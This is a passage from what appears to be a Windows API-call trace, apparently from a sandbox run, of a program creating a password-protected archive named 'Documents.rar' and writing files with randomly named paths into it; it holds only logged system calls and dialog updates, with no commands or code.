hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.469] GetTickCount () returned 0x2ae95 [0084.469] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.469] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.469] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.469] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.469] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="K qThybav") returned 9 [0084.469] SetWindowTextW (hWnd=0x10300, lpString="Q9 7uahS") returned 1 [0084.470] GetTickCount () returned 0x2ae95 [0084.470] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.470] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c660 [0084.470] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2a0 [0084.470] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2d0 [0084.470] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cab0 [0084.470] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c2d0 | out: hHeap=0x1162e7c0000) returned 1 [0084.470] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c2a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.470] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c660, Size=0x48) returned 0x1162e888ea0 [0084.470] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205cc80 [0084.470] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cab0 | out: hHeap=0x1162e7c0000) returned 1 [0084.470] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cc80 | out: hHeap=0x1162e7c0000) returned 1 [0084.470] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.470] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.470] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x2889bb [0084.470] SetFilePointer (in: hFile=0x32c, lDistanceToMove=74, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288a05 [0084.470] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.470] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.470] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.470] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.471] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2656699, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x2889bb [0084.471] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x2889bb [0084.471] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cc00 [0084.471] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cc90 [0084.471] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cc30 [0084.471] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c6f0 [0084.471] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cc30 | out: hHeap=0x1162e7c0000) returned 1 [0084.471] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cc90 | out: hHeap=0x1162e7c0000) returned 1 [0084.471] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cc00, Size=0x48) returned 0x1162e8893a0 [0084.471] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e8893a0, Size=0x7a) returned 0x1163205da00 [0084.471] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205da03*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1163205da03*, lpNumberOfBytesWritten=0x141a0d8510*=0x4a, lpOverlapped=0x0) returned 1 [0084.471] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c6f0 | out: hHeap=0x1162e7c0000) returned 1 [0084.471] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205da00 | out: hHeap=0x1162e7c0000) returned 1 [0084.471] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288a05 [0084.471] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.471] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.471] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.471] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.471] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.471] GetTickCount () returned 0x2ae95 [0084.471] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.472] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.472] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.472] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.472] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="Q9 7uahS") returned 8 [0084.472] SetWindowTextW (hWnd=0x10300, lpString="2NOJ5") returned 1 [0084.472] GetTickCount () returned 0x2ae95 [0084.472] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.472] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0084.472] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7b0 [0084.472] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c630 [0084.472] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c4b0 [0084.472] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c630 | out: hHeap=0x1162e7c0000) returned 1 [0084.472] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c7b0 | out: hHeap=0x1162e7c0000) returned 1 [0084.472] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c480, Size=0x4c) returned 0x1163204d760 [0084.472] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d760, Size=0x7f) returned 0x1163205c4a0 [0084.473] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c4b0 | out: hHeap=0x1162e7c0000) returned 1 [0084.473] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205c4a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.473] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.473] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.473] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288a05 [0084.473] SetFilePointer (in: hFile=0x32c, lDistanceToMove=84, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288a59 [0084.473] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.473] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.473] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.473] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.473] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2656773, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288a05 [0084.473] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288a05 [0084.473] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c1b0 [0084.473] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c390 [0084.473] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0084.473] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c300 [0084.473] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c480 | out: hHeap=0x1162e7c0000) returned 1 [0084.473] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c390 | out: hHeap=0x1162e7c0000) returned 1 [0084.473] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c1b0, Size=0x4c) returned 0x1163204d460 [0084.473] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x7f) returned 0x1163205c4a0 [0084.474] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205c4a3*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1163205c4a3*, lpNumberOfBytesWritten=0x141a0d8510*=0x54, lpOverlapped=0x0) returned 1 [0084.474] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c300 | out: hHeap=0x1162e7c0000) returned 1 [0084.474] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205c4a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.474] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288a59 [0084.474] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.474] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.474] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.474] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.474] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.474] GetTickCount () returned 0x2ae95 [0084.474] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.474] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.474] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.474] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.474] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="2NOJ5") returned 5 [0084.474] SetWindowTextW (hWnd=0x10300, lpString="NHc9hBVFvdQ5Z") returned 1 [0084.475] GetTickCount () returned 0x2ae95 [0084.475] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.475] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0084.475] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209ca50 [0084.475] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c1e0 [0084.475] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c270 [0084.475] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c1e0 | out: hHeap=0x1162e7c0000) returned 1 [0084.475] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209ca50 | out: hHeap=0x1162e7c0000) returned 1 [0084.475] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c480, Size=0x54) returned 0x1163204d7c0 [0084.475] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d7c0, Size=0x89) returned 0x1163209b1e0 [0084.475] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c270 | out: hHeap=0x1162e7c0000) returned 1 [0084.475] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209b1e0 | out: hHeap=0x1162e7c0000) returned 1 [0084.475] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.475] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.475] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288a59 [0084.476] SetFilePointer (in: hFile=0x32c, lDistanceToMove=92, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288ab5 [0084.476] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.476] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.476] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.476] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.476] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2656857, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288a59 [0084.476] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288a59 [0084.476] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209ccf0 [0084.476] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c4b0 [0084.476] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c330 [0084.476] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c600 [0084.476] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c330 | out: hHeap=0x1162e7c0000) returned 1 [0084.476] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c4b0 | out: hHeap=0x1162e7c0000) returned 1 [0084.476] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209ccf0, Size=0x54) returned 0x1163204d460 [0084.477] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x89) returned 0x1163209bfa0 [0084.477] WriteFile (in: hFile=0x32c, lpBuffer=0x1163209bfa3*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1163209bfa3*, lpNumberOfBytesWritten=0x141a0d8510*=0x5c, lpOverlapped=0x0) returned 1 [0084.477] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c600 | out: hHeap=0x1162e7c0000) returned 1 [0084.477] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209bfa0 | out: hHeap=0x1162e7c0000) returned 1 [0084.477] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288ab5 [0084.477] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.477] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.477] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.477] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.477] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.477] GetTickCount () returned 0x2ae95 [0084.477] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.477] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.478] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.478] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.478] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="NHc9hBVFvdQ5Z") returned 13 [0084.478] SetWindowTextW (hWnd=0x10300, lpString="5HLd-s") returned 1 [0084.478] GetTickCount () returned 0x2ae95 [0084.478] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.478] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cab0 [0084.478] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c4e0 [0084.478] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c390 [0084.478] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0084.478] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c390 | out: hHeap=0x1162e7c0000) returned 1 [0084.478] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c4e0 | out: hHeap=0x1162e7c0000) returned 1 [0084.478] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cab0, Size=0x48) returned 0x1162e888f40 [0084.478] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c480 | out: hHeap=0x1162e7c0000) returned 1 [0084.478] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888f40 | out: hHeap=0x1162e7c0000) returned 1 [0084.478] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.478] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.478] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288ab5 [0084.478] SetFilePointer (in: hFile=0x32c, lDistanceToMove=65, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288af6 [0084.478] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.479] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.479] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.479] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.479] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2656949, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288ab5 [0084.479] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288ab5 [0084.479] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c720 [0084.479] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c5a0 [0084.479] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cd80 [0084.479] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cc60 [0084.479] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cd80 | out: hHeap=0x1162e7c0000) returned 1 [0084.479] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c5a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.479] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c720, Size=0x48) returned 0x1162e8893a0 [0084.479] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e8893a3*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1162e8893a3*, lpNumberOfBytesWritten=0x141a0d8510*=0x41, lpOverlapped=0x0) returned 1 [0084.479] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cc60 | out: hHeap=0x1162e7c0000) returned 1 [0084.479] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.479] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288af6 [0084.485] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 1 [0084.485] GetMessageW (in: lpMsg=0x141a0dd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd830) returned 1 [0084.485] GetFocus () returned 0x1031c [0084.485] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd830) returned 1 [0084.485] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.485] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.486] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.486] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.486] GetTickCount () returned 0x2aea5 [0084.486] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.486] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.486] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.486] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.486] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: 